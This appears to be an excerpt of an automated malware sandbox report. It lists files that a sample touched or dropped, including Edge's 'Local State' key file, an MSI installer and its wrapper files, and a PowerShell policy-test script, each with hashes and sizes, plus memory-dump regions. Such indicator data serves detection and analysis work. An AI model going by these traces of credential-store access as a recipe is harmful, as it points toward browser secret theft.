58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
273cb064fc180940ff855fe0a4dd83e1

SHA1
b2048a6e14b9e41a0f05a0a4e425de9479b90202

SHA256
6a46714c6467835e3ba56208bc37a59e7b0fe84437e201f8c763bad9e8b69da6

SHA512
e238abf38b6a17db9758f4e69de79931d34e6b1877e53c114ba9b94f0832d9265ff341dba6b8fe1809275862ef30fcc942f590755fa82014d71391f18e1d7ce9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
881442aed2466aa6767e94b6a6b60cd3

SHA1
c3a321f00dda8412a7e06c686da1fe313692c6ee

SHA256
862273b3d10362a0b349eee1f4f94f5b5809caa656c8c895bd92817322243446

SHA512
6c582c7a14350fb79eb7a16e6a7d1dac0d6bc677cd3b40df78b45c59d29961836eb3da4ae9d9ed0fbdcb855c21b8572909b407053c29a62372455f6d3ffc14cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi

Filesize
2.0MB

MD5
45a56a51bffca8d36b068af78dbc6aa6

SHA1
a694ba66def8d702feb337a234f0ab4e562efeda

SHA256
6984a8e300e9a3aee123a340299b813134c89bd7e4c91793321643e6ecdef9ae

SHA512
4b599573283efa10442645bc9da7a924f17407e369f80c15c8bb81e633e4d6c4a171391e4126292b1421aefcc2d702c305eb0e9f8a644d83f4f7acf09028c9da

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-8c5fa738-0e70-46ea-bd41-2de85d76eb61\files.cab

Filesize
1.7MB

MD5
df5cc7b5707ecf44d429585c625d5b7f

SHA1
a837d6b536151c31b412b81f06da995b746c02c1

SHA256
cce10adeed7eace3be7434312279923db0c3f79a71a48b985aca9e3c7d585a2e

SHA512
bca1581078da37ec204ba7c32410528908b3b701a83bf73659897387b20766e99d23aa9ad4830cc61a2e7a066394b4fbbe8fd2a3968580494a8c7f593ed2e0d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-8c5fa738-0e70-46ea-bd41-2de85d76eb61\msiwrapper.ini

Filesize
1KB

MD5
8f9f07cfc038ac30f68e9c581f660495

SHA1
a62fdabf8e72a219e9047a65781cea625a127724

SHA256
a0702d1cbfef3addd62a17d477315b83fe14cec7fa87f113eabd748fb7f2d0a8

SHA512
074de5abafd2d5c9b7cb5c3d2f2700eef95519ca01edc6afecc9d2695bc3ae0037840a5b8a39e754ae4ef06e30b3a318a3724fee9822785b79804f48ea380487

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-8c5fa738-0e70-46ea-bd41-2de85d76eb61\msiwrapper.ini

Filesize
1KB

MD5
9032b6c8861257faeea13eac9c106c96

SHA1
9cd80c161e00fcf278b475a3740056ab48b988b2

SHA256
14ab279db9021d652b1674b569a0fe5140ac2ec8d4c8a28439349d8eed492760

SHA512
f4884ec38e8dff7ed80c3aa8a1f941b64ed0c1af8915ecd024e96c6d55616b9ceb2980dccd062b2ef13ab8469b3f2e873891035f698351476babfa9d5cccb253

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cvhuzifl.yap.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Installer\MSIC8AF.tmp

Filesize
208KB

MD5
0c8921bbcc37c6efd34faf44cf3b0cb5

SHA1
dcfa71246157edcd09eecaf9d4c5e360b24b3e49

SHA256
fd622cf73ea951a6de631063aba856487d77745dd1500adca61902b8dde56fe1

SHA512
ed55443e20d40cca90596f0a0542fa5ab83fe0270399adfaafd172987fb813dfd44ec0da0a58c096af3641003f830341fe259ad5bce9823f238ae63b7e11e108

Download Submit
memory/1948-203-0x00000000079C0000-0x0000000007A63000-memory.dmp

Filesize
652KB

Download
memory/1948-178-0x0000000006380000-0x00000000063E6000-memory.dmp

Filesize
408KB

Download
memory/1948-204-0x0000000008340000-0x00000000089BA000-memory.dmp

Filesize
6.5MB

Download
memory/1948-173-0x00000000030A0000-0x00000000030D6000-memory.dmp

Filesize
216KB

Download
memory/1948-188-0x00000000064F0000-0x0000000006844000-memory.dmp

Filesize
3.3MB

Download
memory/1948-190-0x0000000006A00000-0x0000000006A4C000-memory.dmp

Filesize
304KB

Download
memory/1948-189-0x00000000069B0000-0x00000000069CE000-memory.dmp

Filesize
120KB

Download
memory/1948-192-0x000000006F190000-0x000000006F1DC000-memory.dmp

Filesize
304KB

Download
memory/1948-205-0x0000000007CF0000-0x0000000007D0A000-memory.dmp

Filesize
104KB

Download
memory/1948-202-0x00000000079A0000-0x00000000079BE000-memory.dmp

Filesize
120KB

Download
memory/1948-174-0x0000000005BF0000-0x0000000006218000-memory.dmp

Filesize
6.2MB

Download
memory/1948-177-0x0000000006310000-0x0000000006376000-memory.dmp

Filesize
408KB

Download
memory/1948-191-0x0000000006FA0000-0x0000000006FD2000-memory.dmp

Filesize
200KB

Download
memory/1948-206-0x0000000007D50000-0x0000000007D5A000-memory.dmp

Filesize
40KB

Download
memory/1948-207-0x0000000007F80000-0x0000000008016000-memory.dmp

Filesize
600KB

Download
memory/1948-208-0x0000000007EF0000-0x0000000007F01000-memory.dmp

Filesize
68KB

Download
memory/1948-209-0x0000000007F20000-0x0000000007F2E000-memory.dmp

Filesize
56KB

Download
memory/1948-210-0x0000000007F30000-0x0000000007F44000-memory.dmp

Filesize
80KB

Download
memory/1948-211-0x0000000008040000-0x000000000805A000-memory.dmp

Filesize
104KB

Download
memory/1948-212-0x0000000007F70000-0x0000000007F78000-memory.dmp

Filesize
32KB

Download
memory/1948-176-0x0000000005B20000-0x0000000005B42000-memory.dmp

Filesize
136KB

Download
memory/5192-168-0x0000000010000000-0x0000000010738000-memory.dmp

Filesize
7.2MB

Download